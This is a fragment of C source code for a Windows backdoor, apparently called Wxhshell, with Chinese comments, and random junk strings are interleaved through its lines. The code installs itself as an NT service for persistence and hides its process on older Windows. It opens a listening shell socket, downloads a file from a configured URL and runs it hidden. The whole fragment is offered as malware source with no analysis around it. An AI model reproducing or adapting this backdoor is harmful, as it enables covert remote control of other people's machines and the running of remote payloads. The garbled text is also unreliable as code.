o 7JS#a=D# if (!NtQueryInformationProcess) return 0; &urb!tQ>& gW}} 5Xq hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eVrNYa1>H if(!hProcess) return 0; (rIXbekgB $bFgsy*N2 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s&0*'^'O[S j3LNnZY CloseHandle(hProcess); 0JyqCbl ^Eu_NUFe hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5!8-)J-H if(hProcess==NULL) return 0; [WYJrk. }H; ]k-) HMODULE hMod; XHZLWh"gS char procName[255]; 8;0^'Qr8 unsigned long cbNeeded; ~T7\8K+ $ 7BS/T if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <\p&jk? ,[^o9u uB CloseHandle(hProcess); Xj(>.E{~H qhnapZJ if(strstr(procName,"services")) return 1; // 以服务启动 jOtzx"/)rE %uW< return 0; // 注册表启动 R@&?i=gk } }-dF+m: v|>BDN@,6 // 主模块 tpE3|5dZF int StartWxhshell(LPSTR lpCmdLine) =uS8>.Qj { TtZrttCE6 SOCKET wsl; [RW,{A BOOL val=TRUE; F=VoFmF@ int port=0; a0 qj[+ struct sockaddr_in door; /CbkqNV r&=r/k2 if(wscfg.ws_autoins) Install(); WFXx70n ${e -ffyy port=atoi(lpCmdLine); ijg,'a~3E w2'
3S#nZ if(port<=0) port=wscfg.ws_port; /lru"R D h%u?lW WSADATA data; noFh p if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P^ by'b+zI HaS[.&\S0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; uQ-WTz|* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,~iFEaV+ door.sin_family = AF_INET; 80cm6?,xu door.sin_addr.s_addr = inet_addr("127.0.0.1"); N4tc V\O door.sin_port = htons(port); pc^E'h: u"eZa!# if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #i6[4X? closesocket(wsl); R+C+$?4NG return 1; %uF:) } Q:rT 9&G 5t TLMZ `o if(listen(wsl,2) == INVALID_SOCKET) { j_hjCQ closesocket(wsl); oA[2)BU return 1; - f+CyhR"* } k#BU7Exij Wxhshell(wsl); (]oFB$ WSACleanup(); Af$0 o=". ?! !;XW return 0; x>'?IJZ /\Jc:v#Q } -0/=k_q_ {3jm%ex // 以NT服务方式启动 @
$9m>6V VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *'s&/vEy { +W!'B
r DWORD status = 0; Id; mn}+~ DWORD specificError = 0xfffffff; RiwEuY [Q7`RB serviceStatus.dwServiceType = SERVICE_WIN32; ;9 lqSv/6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; &0?DL serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f45x%tha % serviceStatus.dwWin32ExitCode = 0; tPQ2kEW serviceStatus.dwServiceSpecificExitCode = 0; PsacXZNs\N serviceStatus.dwCheckPoint = 0; \t[
hg serviceStatus.dwWaitHint = 0; ^a: Saq-} jp"XS hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X+fuhcn if (hServiceStatusHandle==0) return; K%o6hBlk_ T
"ZQPLg status = GetLastError(); @DRfNJ} if (status!=NO_ERROR) \3,$YlG { % jYQ serviceStatus.dwCurrentState = SERVICE_STOPPED; 8.6no serviceStatus.dwCheckPoint = 0; 9N`+ O serviceStatus.dwWaitHint = 0; yN%3w0v serviceStatus.dwWin32ExitCode = status; }mkA Hmu4 serviceStatus.dwServiceSpecificExitCode = specificError; q=(M!9cE SetServiceStatus(hServiceStatusHandle, &serviceStatus); qQ3]E][/ return; g9RzzE! } Djg1Qh |E>v~qD8I serviceStatus.dwCurrentState = SERVICE_RUNNING; e-YGuWGN7 serviceStatus.dwCheckPoint = 0; |s)VjS4@ serviceStatus.dwWaitHint = 0; yL^M~lws if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >^2ZM } \k2C 5f WoC\a^V // 处理NT服务事件,比如:启动、停止 1)nM#@%](h VOID WINAPI NTServiceHandler(DWORD fdwControl) k
2
mkOb { '` BjRg57] switch(fdwControl) +Y_Q?/M@8 { y$+!%y* case SERVICE_CONTROL_STOP: )m$1al serviceStatus.dwWin32ExitCode = 0; /1s 9;'I serviceStatus.dwCurrentState = SERVICE_STOPPED; 3Y.d&Nz serviceStatus.dwCheckPoint = 0; 3 LZL!^ 5N serviceStatus.dwWaitHint = 0; [M,27 { A=\'r<: SetServiceStatus(hServiceStatusHandle, &serviceStatus);
Ep#<$6> } 6z%&A]6k: return; N?Z+zN&P case SERVICE_CONTROL_PAUSE: U~JG1#z6 serviceStatus.dwCurrentState = SERVICE_PAUSED; >n@>h$] break; 3M`hn4)K case SERVICE_CONTROL_CONTINUE: uaZ"x&oZ# serviceStatus.dwCurrentState = SERVICE_RUNNING; I\F=s-VVY break; #L).BM case SERVICE_CONTROL_INTERROGATE: js%4;
break; }kgjLaQ^N }; %BT)oH} SetServiceStatus(hServiceStatusHandle, &serviceStatus); QBN=l\m+ } 0e7O#-
h;:Se // 标准应用程序主函数 g(z#h$@S int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^"6D0!'N { =B,_d0Id d6Q :{!Sd" // 获取操作系统版本 8_sU8q*s OsIsNt=GetOsVer(); V@5 4k*V GetModuleFileName(NULL,ExeFile,MAX_PATH); vh:UXE lm pU'`9fLi_ // 从命令行安装 ZipK;!9by if(strpbrk(lpCmdLine,"iI")) Install(); VLwJ6?.f' ePu2t3E // 下载执行文件 Y;%R/OyWY if(wscfg.ws_downexe) { ajcPt]f if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t6H2tP\AS WinExec(wscfg.ws_filenam,SW_HIDE); ^|a&%wxA } _z_3%N
s`$_ if(!OsIsNt) { z!Pdivx // 如果时win9x,隐藏进程并且设置为注册表启动 }hObtAS HideProc(); (pRy1DH~ StartWxhshell(lpCmdLine); 7!` C TE } D{Jc+Q$ else t"!8 if(StartFromService()) 3qV>TE]6, // 以服务方式启动 [4+a 1/^ StartServiceCtrlDispatcher(DispatchTable); xYzcV%-Pm else t0AqGrn // 普通方式启动 $HR(|{piZ StartWxhshell(lpCmdLine); (0+ GLI8 OA8b_k~ return 0; F~uA-g }
|